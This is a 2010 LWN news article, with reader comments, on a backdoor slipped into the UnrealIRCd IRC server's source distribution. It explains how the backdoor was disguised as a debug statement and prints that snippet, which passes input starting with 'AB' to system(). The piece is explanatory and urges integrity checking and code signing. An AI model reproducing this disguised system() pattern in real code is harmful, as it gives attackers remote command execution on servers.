|
|
Subscribe / Log in / New account

A backdoor in UnrealIRCd

By Jake Edge
June 16, 2010

The discovery and announcement of a backdoor in UnrealIRCd is embarrassing for the project, and is certainly a real live security vulnerability. But it is hardly the "proof" that Linux is insecure, or less secure than some other (proprietary) OS, as some pundits would have it. The problem is not Linux-specific, nor is it a problem with free software development, it is, instead, something that could happen—has happened—to any software project.

UnrealIRCd is, as its name implies, an Internet Relay Chat (IRC) server. It runs on most platforms, and has added a number of features that some folks find useful in an IRC server. It is not related to the Unreal first-person shooter game as some reported, it is simply a server that can be run to host IRC channels for a wide variety of purposes.

From what the project can tell, around November 10, 2009 the mirrors of the source distribution of version 3.2.8.1 of UnrealIRCd were replaced with a version that contained a backdoor. That backdoor could be used by an attacker to run any command on a system running the compromised server. That command would, obviously, run with the privileges of the user that executed the server. It took until June 12 for this swap to be noticed, so anyone who picked up a copy of the code in that seven month period may be vulnerable.

The backdoor was disguised to look like a debug statement in the code:

    #ifdef DEBUGMODE3
	   if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
	       DEBUG3_LOG(readbuf);
    #endif
DEBUG3_LOG eventually resolves to a call to system(), while DEBUGMODE3_INFO is just the string "AB". Thus commands sent to the server that start with "AB" will be handed off directly to system(). Not a particularly sophisticated backdoor, but an effective one nevertheless. As the advisory points out, even servers that are set up to require passwords from users, or even not allow any users at all, are still vulnerable because they still take input.

The official Windows binaries were not affected by the backdoor, but there is no reason that they couldn't have been. The problem is that the project didn't provide any means for verifying the integrity of downloads. That allowed the switch to be made and remain undetected for so long. Since then, the project has started signing its code with GPG keys.

The affected code did make it into Gentoo, which issued an update on the 14th. But the fact that "Linux" was "backdoored" brought out the usual suspects among web pundits eager to declare that it was a watershed moment for Linux security. While it certainly was a black eye for UnrealIRCd, it clearly wasn't one for Linux as a whole. First off, UnrealIRCd is installed on very few Linux systems—it can hardly be considered a core Linux program—and even those where it is installed are likely to be running it as a separate user (e.g. ircd) with fairly low privileges.

But, even users with low privileges often have enough to be useful to attackers. One could imagine spammers and botnet herders finding ways to use the network capabilities of a basic Linux user account. The storage on the system might be useful as well. Unless the user is running the server as root, no direct system compromise should be possible, though it is important to note that a local privilege escalation in the kernel could be used to take the system over.

One of the more laughable claims about the flaw was Ed Bott's declaration that Windows virus scanners would have detected the problem had it impacted those binaries. Bott must be under the impression that virus scanners somehow magically recognize backdoors in executable code. The truth, of course, is much more prosaic: some human finds the malware and updates the signatures that the virus scanners use. Unless this exact vulnerability had already been injected into other Windows binaries—and thus a signature created—no virus scanner would pick it up.

There are certainly lessons to be learned here—integrity checking is important for one—but not those that many of the Windows-centric columnists are pushing. Windows is no more (or less) vulnerable than Linux to these kinds of attacks; when attackers can control the code that you run, it is "game over" no matter what OS you run. It is possible that SELinux, TOMOYO, or AppArmor could mitigate this kind of attack to some extent, but it is somewhat unlikely that anyone has (yet) tackled configuring any of those for a fairly obscure IRC server.

It is another reminder that we need to be more vigilant about protecting our code distribution networks. It may be somewhat less common these days—many folks get their new software from distribution repositories—but grabbing a tarball, untarring, and typing:

    ./configure; make; make install
is a longstanding tradition in the open source world. In order to continue that, it would be very helpful to automatically check signatures when downloading, but the mechanism for doing so is, as yet, unclear. For now, though, checking signatures manually, and being very leery of unsigned code, is the prudent course.


Index entries for this article
SecurityBackdoors


to post comments

A backdoor in UnrealIRCd

Posted Jun 17, 2010 3:42 UTC (Thu) by mhm (subscriber, #45669) [Link]

"AB" seems to be short for Ac1dB1tch3z
http://seclists.org/dailydave/2010/q2/56

"Since it took months and months for the community to find the system() exploit, we still have a more complicated zerday unrealircd hack module. Please inquire when our website is finished."

A backdoor in UnrealIRCd

Posted Jun 17, 2010 9:28 UTC (Thu) by amtota (guest, #4012) [Link]

./configure && make && make install

Much better if you're not watching it do its stuff.

A backdoor in UnrealIRCd

Posted Jun 17, 2010 9:30 UTC (Thu) by ortalo (guest, #4654) [Link] (1 responses)

That's an idea: why not make configure or make directly aware by default of the interest of signature, secure-hash or more automatic general security checks (like not building as root, etc.)? It could probably be tried behind-the-scene like most other checks and provide a final friendly report if security guarantees are achieved.

If that small PR is sufficient to fuel adoption among developpers (it already occured for things like sudo) within some years --fail-on-no-security-check could become the default.

BTW, ./configure && make && make install
is my prefered idiom.

A backdoor in UnrealIRCd

Posted Jun 17, 2010 11:44 UTC (Thu) by nix (subscriber, #2304) [Link]

Not "./configure && make -j WHATEVER && make check && sudo make install DESTDIR=/your/stow/directory/here"?

(this is now way off topic)

A backdoor in UnrealIRCd

Posted Jun 17, 2010 11:52 UTC (Thu) by richmoore (guest, #53133) [Link] (3 responses)

> Bott must be under the impression that virus scanners somehow magically recognize backdoors in executable code

Whilst a signature based virus scanner would not have found this, most windows AV products will ask the user when a process tries to launch another, which would have highlighted this issue.

A backdoor in UnrealIRCd

Posted Jun 17, 2010 12:18 UTC (Thu) by mpr22 (subscriber, #60784) [Link] (1 responses)

Three torrents of "allow execution" spam from a shell script later, the user becomes anaesthetized to such things.

A backdoor in UnrealIRCd

Posted Jun 17, 2010 12:33 UTC (Thu) by richmoore (guest, #53133) [Link]

There's certainly an element of that.

A backdoor in UnrealIRCd

Posted Jun 17, 2010 13:59 UTC (Thu) by tialaramex (subscriber, #21167) [Link]

Also a lot of scanners these days are "heuristic" which means

• They might have spotted an unsophisticated UnrealIRCd attack
• They often flag up minor third party programs which violated the heuristic but did not in fact do anything bad

The result is that they're more likely to spot a genuine attack like this, but their users are inured to occasional false alarms and so unlikely to act on it. I scarcely use Windows, and yet I'm aware of several such false alarms from apparently uninteresting programs.

Still, compiling the vulnerable code and running it inside a firewall is safe, any pundit who wants to make a big deal of this should try it and report how many (if any) AV products available six months ago actually spot this.

A backdoor in UnrealIRCd

Posted Jun 18, 2010 5:30 UTC (Fri) by etbe (subscriber, #17516) [Link]

The ircd module in the SE Linux policy doesn't currently allow execution of shell_exec_t - so a system() call wouldn't work. While the ircd.fc file in the policy source doesn't mention the UnrealIRCd, someone who wanted to run an IRC server on SE Linux would probably try running it with the ircd policy and as in terms of security requirements there is little variation between IRC servers it would probably just work.

sesearch -A -s ircd_t -c file -p execute

If you run the above command on an SE Linux system with the ircd module loaded into the policy it will show the file types that can be executed. That means shared objects in the current policy.

Note that there have been many releases of the policy over the last 10 years and many per-distribution customisations. So I can't claim that every SE Linux policy that was included in every distribution did the right thing in this regard. But the sesearch command allows any SE Linux sysadmin to determine if their system does what they desire.

But it does seem that someone who ran UnrealIRCd on a SE Linux system and who used the correct context for the executable would not be vulnerable to a problem that merely used the system() call.

Of course there are lots of other things that an attacker could potentially do.


Copyright © 2010, Eklektix, Inc.
This article may be redistributed under the terms of the Creative Commons CC BY-SA 4.0 license
Comments and public postings are copyrighted by their creators.
Linux is a registered trademark of Linus Torvalds